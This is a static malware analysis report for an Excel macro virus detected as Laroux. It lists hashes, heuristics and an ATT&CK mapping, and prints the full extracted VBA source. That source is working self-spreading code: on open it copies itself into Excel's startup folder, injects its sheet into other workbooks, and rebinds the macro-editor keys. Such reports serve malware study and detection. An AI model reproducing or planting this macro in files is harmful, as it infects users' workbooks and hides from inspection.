Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6dbd673a14fa6b71…

MALICIOUS

Office (OLE)

163.0 KB First seen: 2015-09-30
MD5: 840df3ea05033380ff332f6bbf683b50 SHA-1: 74230dd44c32047dfd1c0163a9d7b3190bb6979a SHA-256: 6dbd673a14fa6b710c418bd05807590d1fd1f9a6126c33bf90e954294cdefd82
88 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains VBA macros, including an Auto_Open subroutine, which is a common technique for executing malicious code upon opening a document. The script attempts to copy itself to the Excel startup directory as 'StartUp.xls' and sets up event handlers, indicating an attempt to establish persistence. The ClamAV detection 'Doc.Macro.Laroux-5893719-0' further supports its malicious nature.

Heuristics 3

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1567 bytes
SHA-256: b58f715d6dbc9866fa15e635e1dcf4e802dfd8593a69d26b8dbb6db130fe4f38
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
    n$ = ActiveWorkbook.name
    ActiveWindow.Visible = False
    Workbooks("StartUp.xls").Save
    Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "StartUp.xls!acop"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub

Sub acop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.name
    Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    Sheets(n$).Select
  End If
End Sub

Sub aback()
  On Error Resume Next
  Application.OnKey "%{F8}", "StartUp.xls!escape"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnSheetActivate = "StartUp.xls!acop"
  Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!acop"
  Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub


Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Open this report in the interactive analyzer, or submit your own file for analysis.